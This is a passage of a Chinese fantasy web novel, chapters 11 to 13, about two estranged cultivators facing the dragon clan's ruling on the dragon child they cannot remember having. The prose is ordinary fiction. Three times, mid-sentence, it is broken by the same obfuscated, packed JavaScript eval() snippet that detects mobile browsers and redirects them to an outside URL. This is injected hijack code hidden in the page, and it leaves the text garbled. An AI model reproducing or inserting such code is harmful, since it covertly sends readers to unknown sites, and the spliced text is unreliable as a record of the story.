轩辕明苍确认青年头顶的阴云褪去不少,连带着小金龙身上被影响的金光也恢复如初,这才安心趴了下去。 “爹、爹爹!” 终于缓和了激动的心情,洛云杳一把抱住青年的手指蹭着,但又觉得哪里不太对,可他小小的脑袋一时想不出到底有什么地方奇怪。 幼崽蹭完手指,伸出爪子给青年擦了擦脸颊的泪痕,有些犹豫:“……我不回去,昭昭要和爹爹一起回去。” 说完气鼓鼓地看了云临川一眼。 就算是因为“捉迷藏”,父亲也不该惹爹爹生气! 云临川被幼崽瞪得喉咙一哽,下意识看向洛淮时,结果又得到了冷冷的瞥视,心里顿时升起一股前所未有的酸胀。 “先劝昭昭去休息,剩下的是我们大人之间的事,不该把孩子牵扯进来。” 青年的传音冷冰冰的,似乎夹杂着冰碴。 云临川千言万语堵在喉咙,犹豫半天,最后只回了句“好”。 他顶着四周快要把他扎成刺猬的目光,大步走到幼崽面前半蹲下去:“昭昭乖,我、父亲和爹爹还有些事要解决,你先和好朋友去玩一会儿好不好?” “好朋友”小黑龙闻言矜持地晃了晃尾巴。 星眠后背一紧,余光瞧见小黑龙幽深的金瞳,顿觉这小崽子又在憋坏招折腾人。 “活祖宗,不许恶作剧,这么多双眼睛看着呢。”星眠戳了戳小黑龙的脑袋,“你不要面子我还丢不起这个人。” 轩辕明苍:“我、没有。” 他只是在想一会儿邀请昭昭弟弟玩什么。 而洛云杳在看清云临川脸上不伦不类的微笑后,沉默了一会儿:“那你不许欺负爹爹。” 云临川有些无奈,收起僵硬的嘴角点了点小金龙的脑袋:“我才没欺负他,他欺负我还差不多……” 要知道金丹之前,他每次挑衅都会被洛淮时按在地上揍。 洛淮时眉头一簇,果断把龙崽交给星眠,柔声嘱咐道:“昭昭乖,等事情结束我就去找你。” 得到承诺的龙崽开开心心跳了跳,随即挤到了小黑龙身边。 族长见状,对着星眠和其他龙君点了点头,道:“你们先回去吧,这里留我就好。” “是──” 龙岛人急匆匆来,又浩浩荡荡地离开了。 彻底目送幼崽的身影消失在天边,洛淮时这才松了一口气。 台下,围观修士里有不少人已经抬脚走了,手里还攥着新鲜出炉的“留影石”,决定赶在第一时间把消息卖掉。 按理来说这场热闹也该接近尾声了,再详细的内情动脚指头想想肯定不是他们想听就能听到的。 “洛小友、云小友。” 众人“哗啦哗啦”又围了过来。 族长沧桑却又威严的声音在响起,听见自己名字的两人全都虎躯一震,莫名有种不妙的预感。 族长:“是非曲直、前因后果我已无心分明。老夫只知道,这孩子是你们两个生的。” “按照龙族如今的规矩,抛弃龙崽的双亲会被剥夺抚育权,永远不能与幼崽相见──” 洛淮时:“不行!” 云临川:“放屁!” 一齐喊出声的两人对视一眼,又双双闭嘴。 族长:“……” 老人叹了一口气,把剩下的话继续说完:“但是念在昭昭情况特殊,没破壳的时候就生出五感,还对你二人产生了浓厚的感情。” “所以在和诸位长老商讨之后,你们现在有两条路能走。” 一黑一白两道身影紧绷着,似乎在等待着最后的审判。 “第一条,放弃你们现在拥有的一切,带着幼崽回龙岛生活,在幼崽成年之前不能离开龙族的监管。” “第二条,彻底放弃抚养幼崽,永远不能和幼崽相见,收回你们身上龙神的力量,最后再被逐出龙族。” “你们只有三天考虑时间。” 说完,老人甚至没给洛淮时和云临川一个眼神,拄着龙头杖御风而去。 擂台此刻只剩下了洛淮时和云临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479008|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川两个人,氛围再度剑拔弩张。 两人就这么对视着谁也没开口,或者说就算张开嘴也不知道能说些什么。 他们的记忆对孩子、怎么生的孩子、什么时候生的孩子一无所知,就像是做了一场荒唐大梦。 擂台下,左护法摇着扇子长叹一声,终于跳上擂台:“洛尊者,借一步谈谈?魔宫驻地虽不及九霄宗钟灵毓秀,好在布置得当,也差不了多少。” “劳烦左护法费心了。”一只手挡在了左护法面前。 手的主人是个面白无须、眉眼带笑的男人,渡劫中期修为,身上一股子书卷气。 左护法摇着扇子挡在鼻子下面,声音不大不小:“高副宗主言重了,布置驻地不过举手之劳。” 副宗主收回手,看了眼自家倔起来比驴倔的弟子,又瞧了瞧同样犟脾气的前弟子,无奈望天:“要是谈事的话,我倒是有一处更好的去处。” . 岛主府。 “快来快来,傻坐着干什么?快尝尝我府里新炒的灵茶。” 万族岛主一身姹紫嫣红的鎏金法衣,发色红如焰火。 众人再次掀开茶杯看了一眼,确认里面的确是梧桐树的叶子,又心照不宣叩了回去。 云临川嘴角一抽:“岛主,您这茶我们可无福消受。” 万族岛的梧桐树五行属火,做成灵茶喝下去五脏六腑都会有灼烧感,除了岛主这只同样会喷火的凤凰,谁喝谁脑子有病。 “咔哒”。 洛淮时放下杯子,朝着岛主拱手道:“多谢岛主款待。” 云临川:“……?” 再一看,九霄宗众人居然全都面不改色喝完了梧桐茶,只有魔宫的人还在龇牙咧嘴。 “不过在下又觉得,喝了这茶也算是沾了岛主的福气。”云临川拿起茶杯对着岛主敬了敬,“就先干为敬了。” 岛主:“……” 魔宫众人:“……” “咕噜咕噜”滚烫的茶水入腹,云临川喝完把茶杯狠狠撂在桌面,不争馒头争口气般对着洛淮时挑了挑眉。 洛淮时:“……” 无聊。 “咳咳。”左护法眼见着自家少主又开始抽疯,果断跳出来打断紧张的气氛,“既然在场的都不是外人,我就直接长话短说了。” “龙族幼崽的孵化期一般是十年左右,再算上十月怀胎和滴血法阵上的年纪,前后一共十二年。” “可我们少主这二十年为了巩固境界,一直在魔宫闭关,根本没踏出过魔宫……” 左护法:“洛道友,你不准备解释什么吗?” 洛淮时蹙了蹙眉,刚想说什么就被副宗主拦了下来。 副宗主面上笑意全无,冷声道:“按照左护法所言,是怀疑我这师侄背后搞鬼了?” “可惜要让您失望了。师侄他这几十年一直在九霄宗内担任授课长老。每日卯时起身练剑,戌时入定打坐,我们九霄宗每一个子弟都能作证。” 左护法:“那我们魔宫的人也能作证!” 话到这里直接谈死了,两方势力谁也不肯让着谁,全都怀疑是对面的人在搞鬼。 而两个当事人沉默不语,没有发表任何意见,眸光闪烁,似乎是在顾忌着什么。 僵持半天,岛主最先忍不住当起和事佬:“我说你们都消消气,喝茶喝茶。” 谁也没有动。 一头银发的青年敲着剑柄上的淡绿色的青玉,眸子突然闪了闪。 与此同时,角落里传来一道尖细的声音── “哪来的十年?三百年,我在蛋里等了三百年才等到他破壳!” 11. 养崽第十一天 “何、何方妖孽?!” 徒孙被吓得一激灵,蹲到了椅子上冒出一对鼠耳,可寻宝鼠的天赋又让他的心脏狂跳──不是妖孽,是宝贝。 天大的宝贝。 其余人也全都一惊,不明白满屋子渡劫大乘修士怎么能没发现有东西偷听。 只见会客厅角落爆发出一道金光,猛得钻出条筷子粗细的半通明金龙。 龙髓珠给了徒孙一个“算你小子识货”的眼神,大摇大摆飞到了岛主身边的座位落下。 岛主提前退场没看见认亲大戏,自然也没看见金龙吞噬剑气那一幕,惊讶道:“龙神残影?” “不,它不可能是龙神残影。”云临川放出神识在金龙身边转了一圈,“只是器灵的一抹神识罢了。” 洛淮时则笃定道:“你是昭昭脖子上的金珠。” 龙髓珠高贵冷艳地“嗯”了一声,随即道:“不过我虽不是龙神残影,却和龙神密不可分。” “听说过龙神剖骨证道的传说吗?” 众人一时你看看我我看看你,没人出声。 龙髓珠:“……” 不至于才过了这几年修真界就没有它的传说了吧。 最后还是副宗主不太确定地开口:“传说里龙神因给蛇族留下一线龙门生机,惹得天道震怒,关押龙神近万年。后来龙神在狱里顿悟,剖出骨血炼化重塑,实力更近一层楼。” “据说那多余的龙骨分散到了六界各地,等待有缘人将其唤醒。” 洛淮时若有所思:“所以你是龙神的骨头?” 龙髓珠:“错,我是骨髓。” 洛淮时:“……” 左护法见缝插针:“厉害厉害,不知您有什么异能?” 龙髓珠咳了咳:“这正是我要说的。” “我能提纯龙族的血脉,就算是混血也能变成纯血金龙。” “那三百年又是怎么回事?真的……正正好好是三百年吗?”云临川似乎毫不在意提纯血脉的事,急切地问着,搭在椅子上的手几乎要把扶手捏碎。 洛淮时也死死盯着龙髓珠,整个人紧绷成了一把蓄势待发的弓。 龙髓珠斟酌了一下,开口道:“准确来说,是二百七十七年前。” “咔嚓”一声,男人手下的扶手碎了。 而青年依旧如临大敌般绷着,因为情绪过于激动,乃至于脸上浮起大块鳞片。 龙髓珠:“……?” 明眼人都能看出来这俩人不对劲儿。 同样不对劲儿的还有副宗主和左护法,脸色异彩纷呈,简直和吃了苍蝇没有任何区别。 岛主十分善解人意:“那个……需要我回避一下吗?” “需要。” 副宗主和左护法异口同声,顺道回头吩咐着其他人先去驻地休息。 几个长老也没坚持,领着自家弟子下属浩浩荡荡地走了,岛主倒是招呼童子又上了一波梧桐茶才离开。 会客厅一时安静得吓人。 龙髓珠只好继续说道:“我是直接被融合进龙蛋里认昭昭为主的。如果龙蛋被人悉心照料,我会一直沉睡到龙蛋破壳,期间专心致志提纯血脉。” “但二百七十七年前,龙蛋陷入了一种极其不稳定的状态。我废了好大力气才从沉眠里苏醒,发现四周都是毒雾、枯草和腐烂的泥潭。” “龙蛋的双亲失踪了,这也导致我不得不一边保护龙蛋一边提纯血脉,这才耗费了整整二百多年才让龙蛋破壳。” 脑中划过幼崽头顶短粗的龙角,洛淮时心口一紧,忙问:“这样做对昭昭是不是有什么影响?” 龙髓珠:“没错,血脉提纯虽然成功了,但是留下了后遗症。” “崽不但身体比正常龙崽要弱,就连传承记忆也是残缺的,甚至龙角在成年之前都收不回去。” “有办法治吗?”这回说话的是云临川。 龙髓珠:“有倒是……先打住,我都说完了,该你们了。” 它倒要瞧瞧究竟发生了什么,才会导致这俩人不仅孩子不要了,记忆也没有了,还在擂台上打得你死我活。 都吓到它家崽了好不好! 左护法欲言又止,得到云临川的示意这才道:“如果是二百七十七年前,倒是对得上——” “算了,我自己说吧。”云临川打断了左护法的话,直视着对面的青年,“我并非单单不记得昭昭的存在,而是在二百七十七年前失去了肉身和十八岁后的所有记忆。” “你……”!洛淮时一把将霁雨剑拍在了桌面,“刷”一下站了起来,因为过于震惊瞳孔变得圆溜溜的。 云临川新奇似地看了一眼,继续说着:“也不算全部肉身吧,当时从天上掉下来的时候我还有点意识,能看见逐渐化为流萤四散的骨架和血肉。” “只不过再醒过来只剩下三魂七魄了。” 只有十八年记忆的他以为自己是身份暴露,被魔宫的人抓住过来炼药的。好不容易消化完魔尊是自己亲舅舅的事实,这才老老实实等着魔尊给他重塑肉身。 龙髓珠:“你开玩笑吧,你一个魔宫少主,谁不要命敢和魔宫作对把你打成这样?” 关键是还不直接杀了毁尸灭迹,还非得把人丢回去。 云临川:“我不知道。他们说我那时本该在魔洲边陲就任城主,去魔城也只能查到是我自己离开的,谁也不知道我到底遭遇了什么。” “少主说的不错。”左护法附和着,眸光微动,余光里青年的表情依旧严肃不已。 “如果龙蛋真是二百七十七年前无人照看的,那……” 没说完的话不言而喻。 副宗主沉吟一会儿,见洛淮时没有开口的打算,扶额苦笑道:“巧了不是,二百七十七年前,洛师侄游历归来倒在了护山大阵旁。” “那地方隐蔽,平日里连个巡逻弟子都没有,要不是金寻──刚才那只寻宝鼠把浑身是血的洛师侄扛回去,恐怕……” “我会因为识海震荡、元婴碎裂死在那天晚上。”洛淮时补充了副宗主没说完的话,一双金瞳如炬,“同样,在我苏醒之后,失去了关于游历的所有记忆。” 整整三十三年。 龙族驻地。 洛云杳趴在星眠的肩膀上,身边挤着小黑龙。 他其实是很紧张的,第一次见到这么多同族,每一个还都想过来摸他的脑袋,害得他连头都不敢乱转,一声声“哥哥姐姐叔叔姨姨”喊出去,尾巴尖上挂了一串储物戒。 都是他们送他的见面礼。 不过…… “沐沐哥哥,他们为什么不摸你的头呀?”小金龙晃了晃尾巴尖,戳了戳小黑龙的鳞片。 轩辕明苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479009|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡定开口:“因为、我不喜欢。” 星眠脚步一僵,再度想起那些强行摸“龙头”的人被折腾成了什么德行,咳了咳,摸了摸洛云杳的龙头满脸欣慰,继续带着两只龙崽奔向用来休息的宫殿。 是的,宫殿。 青禾作为驻地负责人,直接在驻地上安了几座金碧辉煌的殿宇,进去还有空间法阵加持,住起来可以说奢华到了极点。 洛云杳没有察觉到星眠的异样,满心满眼都是面前金灿灿的宫殿。 “珠珠,好漂亮!”龙崽顶了顶龙髓珠,得到了一声略显“敷衍”的“嗯”。 倒是小黑龙点头的力度十分认真,跳下星眠的肩膀:“跟、跟我来。” 洛云杳看了看星眠,得到点头后瞬间蹿了出去,一路飞到了走廊尽头的房间。 “吱嘎──” 门被推开了,随之而来的是满屋子灵光熠熠的灵石、晶矿堆积而成的小山。 洛云杳:“……!” 好漂亮、好喜欢! “喜欢、吗?父亲替我准备的、礼物。” 稚嫩的声音从下方传来,洛云杳低下头,看见了一个比自己高上不少的男孩儿。 男孩儿穿着一身绣着暗纹的法衣,脸上没什么表情,只有一双金黄色的瞳孔闪烁着,和身后的小山交相辉映。 洛云杳顿时恢复人身,给了轩辕明苍一个结实的拥抱:“超喜欢!谢谢沐沐哥哥!” “嘶”。”星眠看得直咂舌,不知道“混世魔王”怎么多了个玩伴就变得如此反常。 要知道以这小不点的占有欲,别说给别人一座金山了,就连一枚铜钱都抠不出来── “儿子终于长大了,知道和好朋友分享了。” 身后传来一阵万分感慨的声音。 星眠回头,果然看见了人高马大的轩辕硕。 得了,大魔王来了。 轩辕硕对着星眠微微一笑:“族长说我有经验,让我这几天先带着昭昭,你可以回去了。” 说完不管小鸡仔一样的祭司还想说什么,轩辕硕直接关门送客,顺势蹲了下去,对着软乎乎的幼崽伸出手。 “你好啊小家伙,我是沐沐哥哥的父亲,你可以叫我硕叔。”轩辕硕摆出了和蔼可亲的模样,虽然对于他这张自带煞气的脸来说收效甚微。 对面的幼崽眨了眨眼,随即震惊地瞪大了眼睛! 就当他以为自己会收获一只被吓哭的崽之后,幼崽居然踮起脚尖抬起手。 一粒微不可察的金光钻进了灵台,困在轩辕硕识海一角的黑气抖了抖,安静了不少。 “你……”轩辕硕哑然,看了看幼崽,又看了看自家儿子。 洛云杳拍了拍小手,自信开口:“硕叔,刚才是昭昭的回礼!” 他帮硕叔清理了识海里的黑气,而且他发现沐沐哥哥在他清理完黑气之后也跟着开心不少,嘴角上扬了指缝大小的高度。 轩辕硕没忍住,揉了揉幼崽的脑袋,认真道:“谢谢,我很喜欢。” “你们先在这儿玩,我去去就回。” 两小只齐刷刷点头。 等到房门关严,洛云杳又打开窗东看看西看看,确认暂时这才回到了轩辕明苍身边,眼睛亮晶晶的:“沐沐哥哥,你说能偷偷带我去找爹爹。” “我们什么时候出发呀?” 12. 养崽第十二天 “族长。” 高大的男人推门而入,一眼就瞧见了正在拨弄龙脉星图的老人。 “来了?”族长点了点其中一颗暗淡不少的星星,“我让你看孩子,你就由着他们两个胡闹?” 半人高的水镜凭空出现,里面正是两条龙崽鬼鬼祟祟离开房间的画面。 “小孩子爱玩爱闹不是很正常吗?”轩辕硕不以为然,顺走了桌面的灵果,“您看,我儿子笑得多开心?” 水镜里,面无表情的黑龙幼崽驮着比他小了一圈的金龙崽,轻车熟路地开始钻结界的空子。 族长:“……” 轩辕硕胡说八道完了,这才想起来正事:“族长,这孩子的天赋……不太寻常。” 族长:“脉图已经告诉我了。” 只见族长抬手在星图里抓了抓,顿时捏出一颗颜色稚嫩、格外活跃的星子。 每一颗星子在脉图里都代表着一名纯血龙族,而混血、蛟龙和被逐出族群的龙是不被承认的。 就像是身为混血的洛淮时,还有亲爹那一脉早就被逐出龙族的云临川,他们的命星不在星图之内,就算出生了也不是能得到龙族承认的幼崽。 轩辕硕心底生出一股亲切,看着星子不确定道:“这是……明苍?我还以为您刚才指的那个是他。” 族长摇了摇头,把两颗星星放在一起:“那颗是昭昭。” “叫你来是想告诉你,明苍的‘病’,只有昭昭能治好。” 轩辕硕霎时间褪去平日里散漫的模样,肌肉因为紧张不自觉隆起,锐利得像一把未出窍的剑。 族长:“昭昭比明苍幸运点,用龙神骨髓提纯血脉入了脉图,开了阴阳万生眼,还有修复‘活气’的能力。” “而明苍借龙神遗骨之力降世,虽得观七情百态,却因此封闭神识。” “好在如今骨髓相遇,只要让他跟在昭昭身边,早晚有一天能恢复正常。” . 龙族驻地的结界薄弱处不太好钻。 两小只失败了一次,差点被人发现一次,终于在第三次的时候找到了能钻出去的地方。 等寻到九霄宗驻地,太阳已经快彻底落山了。 两条小龙躲在紫竹林里,这地方灵泉水汽氤氲,竹影摇曳,是个藏匿身形的好去处。 轩辕明苍点了点头:“我回去和父亲、说一下,别担心。” “明天见。” 洛云杳朝着小黑龙摆了摆爪子,看着他一步三回头地走了。 龙髓珠问出憋了许久的疑问:“你怎么不在龙族驻地等他们去找你?” 洛云杳:“……?” 幼崽用很奇怪的眼神看着龙髓珠,好半天才组织好语言:“因为爹爹在擂台上的时候说的不是真心话。” 龙髓珠:“你……怎么知道?” 它怎么不知道自家崽什么时候这么会察言观色了? “爹爹身上的‘气’不对啊。”幼崽回答着,耸动着鼻子开始寻找熟悉的味道。 人在撒谎的时候身上的气是会发生轻微改变的,掺杂了淡淡的灰色,不像是黑色那么不详。 洛云杳一路走下来对灰气十分熟悉,再加上他和洛淮时父子连心,就算不开灵台观气也能察觉到不对。 可惜当时幼崽被爹爹亲了一下,高兴得恨不得原地起飞,忽略了灰气带来的不安。 龙髓珠:“……我,算了。” 反正一会儿需要圆谎的也不是它。 幼崽一路找到了西北处最僻静雅致的小院。 院内种着两树开得正好的梨花,晚风吹过的时候落英缤纷,就是外面笼罩着一层结界。 龙髓珠二话不说,直接在结界上钻出个窟窿供幼崽通行。 洛云杳钻了进去,整条小龙穿过花雨沾了满身花瓣,从窗户缝挤进卧房直奔木床! 幼崽愣在了原地。 和他想象里爹爹累了一天早早休息不一样,屋子里没有一丝生气。 “爹爹还没回来呀。”幼崽有些遗憾,尾巴尖都垂了下去,上面一串储物戒似乎也跟着黯淡不少。 龙髓珠连接了一下游荡在外的神识,哄着:“再等等吧,没准一会儿就回来了。” 岛主府的会客厅已经人去楼空。 原本就算是彼此有所隐瞒,也就是几句实话的事,坏就坏在这俩当事人“双双失忆”。 很显然,“失忆”被当做了彼此不愿意说真话的借口。 副宗主和左护法更是吵得差点在会客厅打起来。 左护法:“你们九霄宗不是号称规矩森严吗?怎么弟子游历三十三年都不知道他去了什么地方?” 副宗主:“你们魔宫还有脸说?一个城主提前卸任了都没人发现异常,亏得还是魔尊的外甥!” 吵到最后,只能得出两人识海的损伤相似,而且都不可逆,谁也没法知道当年究竟发生了什么。 倒是洛淮时一个雄蛇为什么能生孩子,得到了龙髓珠的解答:“这个和蛇祖有关系。祂当年用言灵改造了全部蛇族,让蛇族雄性也能怀上龙族的后代,以此增加跃龙门的可能。” “就是被天道发现之后……这种雄蛇几乎绝迹。” 众人各怀心思不欢而散。 洛淮时跟在副宗主身后,听他这师叔絮叨着:“太初啊,师叔不说别的,单说龙族族长设下的处罚。” “你本就不是纯血龙族,要是被剥夺了血脉力量再逐出族群无龙神庇护,这几百年的修为功亏一篑不说,甚至连小命都有可能不保。” “师侄,年轻人别意气用事。”副宗主扶了扶脑袋,“前尘往事暂且不提,龙崽成年也才十八岁,放在平时就是闭个关的功夫。” “就算这背后有什么阴谋诡计,你和那谁再不对付,忍一忍也就过去了。” 洛淮时抿着唇,摸了摸距离心口不到一寸的地方:“……师叔,可我这道剑伤说它忍不了。” 云临川叛逃不仅带走了秘宝,还留给他一道雨天就会隐隐作痛的疤。 其实被刺的那一瞬已经记不清在想什么了,只有初晴剑剑刃的冷刻骨铭心。 还有那双和走火入魔没有区别的绿眼睛。 所以他反击回去了,差点就能刺碎云临川的丹田。 “死老头……怎么和教书的时候一样磨叽。” 不远处的云层,云临川踩着初晴剑不近不远地跟着。 看见青年的动作,他也跟着抬手,不知为何突然有些心虚。 什么剑伤?和他又有什么关系? 脑子里关于这出的记忆压根没有,看来不是十八岁之前发生过的。 这边副宗主彻底没话了,面色尴尬地找借口先一步离开,只剩洛淮时一人慢慢悠悠赶路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479010|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多时,青年停了下来,冷冰冰道:“出来吧。” 云临川一惊,跳出来问:“你怎么知道我在这儿?” 洛淮时:“猜的。” 云临川:“……” 见男人脸色一阵青一阵白,洛淮时也不废话:“你还想说什么尽管说,此地只有你我二人,不必装模作样。” “你、我……”话到嘴边,云临川又顿住了。 他最大的秘密今天被迫暴露在了阳光下,摆在他十八岁时“最讨厌”的师兄眼前。 显得他们这些年的针锋相对,倒成了顽劣少年的死缠烂打。 “不说我走了。”洛淮时淡淡看了男人一眼,毫不犹豫地御剑转身。 “别走!” 胳膊被人拽住了。 洛淮时转头,瞧见了从未在云临川脸上瞧见过的表情——郑重、忐忑、又带着一丝微不可察的紧张。 云临川难得磕巴,耳根短短几个呼吸里烧得通红:“我、虽然我不记得我们那三十三年发生过什么,但是木已成舟,我、我会对你负——” “你们两个怎么还在这儿拉拉扯扯?” “砰”得一声,云层里钻出一条半透明的小金龙。 龙髓珠对着云临川搭在洛淮时胳膊上的手吹胡子瞪眼,一副抓住他们两个有“奸情”的模样。 奈何被抓胳膊的青年不仅面无表情,眉宇间还透着股隐忍到极致的不耐烦。 不像是背着它“狼狈为奸”。 “你胡说八道什么?!”云临川松开手,“蹭”一下跳出几丈远。 龙髓珠:“我说错什么了?孩子都生了装什么大瓣蒜儿?” 洛淮时:“……” 云临川:“……你?!” 去了龙角足有八尺高的男人红着脸骂骂咧咧地走了,御剑的路径七扭八歪,压根看不出是如今修真界剑道第二。 龙髓珠挠挠脑袋,扭头叮嘱青年道:“咳咳,快回去吧,一会儿天都亮了。” 洛淮时若有所思,看了看明显眼神躲闪的金龙。 下一秒,金龙猛地消失不见,就像是从未来过一般。 回驻地的路仿佛布置了空间阵法,显得格外漫长。 洛淮时心脏跳得厉害,掌心微微发汗,回到自己的小院先是确认了一遍结界。果不其然,东北角多出来个拳头大小的窟窿。 院里的梨花像离开时一样摇曳生姿,满院清香让他忍不住咽了咽口水。 “吱——” 木门发出了一声微弱的声响,青年淡金色的瞳孔中划过一丝慌乱,好在屋内依旧静悄悄的。 一步、两步……洛淮时掀起珠帘,走进了卧房。 从到达驻地后一直洁净如初的床榻,此时此刻,上面的锦被乱作一团。 正中间的鼓包不大不小,恰好是三四岁幼崽的身形。 洛淮时轻手轻脚地坐到了床边,屏住呼吸放缓心跳,小心翼翼一点一点掀开被角。 幼崽粉雕玉琢的小脸露了出来,因为睡姿过于豪放导致头发乱糟糟的,脸上还多了几道压出来的印子。 心底仿佛有什么东西被狠狠触动了,洛淮时眨了眨泛酸的眼睛,抬手做出了从滴血认亲到现在一直想做的事。 他戳了戳幼崽的脸蛋。 很热、很软,像是戳到了一汪具象化的灵泉。 13. 养崽第十三天 恰逢此时,半敞的窗户突然刮进一道清风。 洛淮时心中一惊,生怕寒风会吵醒幼崽,慌乱间甚至忘了自己还有灵气可用,起身想要去关窗。 转身刹那,衣角处传来一股微弱的力道。 热乎乎的肉团子一把扑进了他的怀里,带着满身梨花芬芳—— “爹爹!” 洛淮时甚至不敢应这一声呼唤,不自觉地调整了抱着幼崽的动作。 就好像……他已经这么抱过他很多次了。 半天没得到回应的幼崽疑惑地抬起脑袋,可惜因为太矮只能看见青年尖尖的下巴,上面……似乎沾了一点亮晶晶的东西。 幼崽下意识打开了天赋,被黄绿色的气晃得一下瞪大了眼睛。 ……爹爹看起来,苦苦的。 人只有在难过的时候身上的气才会变成黄绿色。 可没等幼崽变回原形飞去安慰爹爹,那层黄绿色的气一下子消失不见了,随之而来的是一层浅淡的粉色。 象征着喜悦的粉色生气逐渐取代了黄绿,然后── “宝宝一个人怕不怕?是爹爹回来了晚了。” 洛云杳被结结实实回抱住了,在拥抱里心跳加速。青年喊他的声音有些沙哑,一边说着一边紧紧抱着他,拍着他的后背。 拥抱暖烘烘的,满是从羊水一直陪伴他到蛋壳的气息,一时间惹得幼崽以为自己又回到了蛋里,鼻子一酸:“不、不怕……” 可洛淮时松开幼崽后,接住了他掉下来的眼泪珠,还有明显躲闪的眼神。 两人对视一秒,幼崽的脸“刷”一下红透了,绞着衣角半天才小声道:“其实、其实有一点怕,可是屋子里有爹爹的气息,就没那么怕了。” 甚至因为气息带来的安全感睡了过去。 洛淮时露出了今晚第一个笑,给幼崽擦了擦眼泪,把他抱到了圆桌边:“没关系,怕也不是什么丢人的事,每个人都有害怕的东西。” 洛云杳:“可是我怕的东西有很多……” 他不仅怕黑、怕雷,还会怕大树的影子。 他更怕……明天醒过来发现一切都是假的,他还是孤身一人一珠,爹爹会消失不见。 可是幼崽不敢说。他怕说出来的话像龙髓珠说的“言灵”一样吓人,爹爹和父亲真的会消失不见。 洛淮时刮了刮幼崽哭红的鼻子,递给他一颗汁水丰盈的灵果:“恐惧是多数人与生俱来的,我们需要的是面对恐惧的勇气。” 幼崽啃着灵果歪了歪头,口齿含糊不清:“冗、勇气?” “没错。”青年说着,淡金色的瞳孔流转着似水的温柔,“昭昭为了找到爹爹走了多远?” 洛云杳:“呜……昭昭走了妖洲、灵洲还有归墟海!” 洛淮时半垂下眼,掩盖住眼底的震惊和心疼,嘴角微微勾起:“妖洲三十二郡,灵洲五十六城,归墟海到万族岛渡劫修士不眠不休也要走上三天三夜。” “所以昭昭为了找爹爹走了这么远的路,已经是一条非常非常勇敢的小龙了。” 青年的尾音微微发颤,显露出他此刻说出这些话后有多么不平静,甚至耳尖泛起一层薄薄的红晕。 如果换做平时,幼崽早就能察觉出这一点,可他现在就和第一次被爹爹亲亲一样,开心得不得了。 因为──这是他第一次被爹爹夸夸! “砰”得一声,幼崽胖乎乎的尾巴钻了出来,船桨一样摇来摇去,一下扑到青年怀里:“真、真的吗?” 他真的是一条勇敢的小龙么?……可他还会因为受伤哭鼻子,但是爹爹说他很勇敢,而且三十二郡什么的听起来就好厉害的样子。 “千真万确。”洛淮时趴在幼崽耳边认真说着。 幼崽是最需要表扬的,所以他不会吝啬自己夸奖,而且事实亦是如此。 算了算时辰,青年顺势把幼崽抱到床上塞进被窝掖好被子,“已经很晚了,现在勇敢的小龙得睡觉了。” “我不困!”洛云杳抓住了青年的袖子,可怜巴巴看着他,“我想和爹爹说话……” 洛淮时动作一顿,看出幼崽眼里直白的不舍,还有掩饰得没那么好的害怕,就像是怕一觉醒来看不见他一样。 心口闷闷的,涌上来一股说不出的情绪,洛淮时摸了摸幼崽的脑袋:“昭昭乖……我们今天好好休息,爹爹明天再陪你说话好不好?” “明天等昭昭醒过来就能看见爹爹,爹爹会给你准备好吃的灵果灵乳,爹爹还会带你去看擂台赛……” 洛云杳其实是想再坚持一下的,奈何青年的声音又轻又快,像是窗外和煦的暖风。 于是好几天没好好睡觉的幼崽眼皮越来越沉,越来越…… “咔哒”。 幼崽手里紧紧攥着的东西砸在了床沿。 洛淮时一愣,随即把那块儿粉晶捡了起来。 上面似乎刻着什么字。 等到把晶体放在夜明珠下,上面的文字才彻底显现出庐山真面目──“洛、云、杳”。 “洛云杳?” 窗缝边,巴掌长的小蛇听见这声后瞳孔一下竖成了针尖模样,弓起身子来回滑了几下,最后不知道绊在了什么东西上,“噗通”一声摔了下去。 一时间云临川甚至忘了爬起来,躺在满地梨花上百感交集。不知道是该继续惊讶幼崽的名字里居然还有他的事,还是用尾巴敲一敲木窗示意外面还有个“大活人”等了半天。 等他终于回过神来,控制着神识艰难爬回窗口,继续蹑手蹑脚看向屋内。 青年已经坐回了床边背对窗户,一边拍着床上的幼崽,一边哼着语调轻柔的童谣。 “……月儿清,天水明……” 云临川听出童谣是蛇族流传最广的一种,几乎整个修真界都能看见它的影子。 不过童谣虽好,但洛淮时这副褪去全身锋芒,不再具有攻击性的模样,是他从未见过的。 印象里的“师兄”面对他总是板着脸,长生剑骨自带一身刚锐剑气。无论是在九霄宗时,还是重塑肉身相逢后,都是一副冷冰冰不近人情的模样。 又或者……他是见过的。 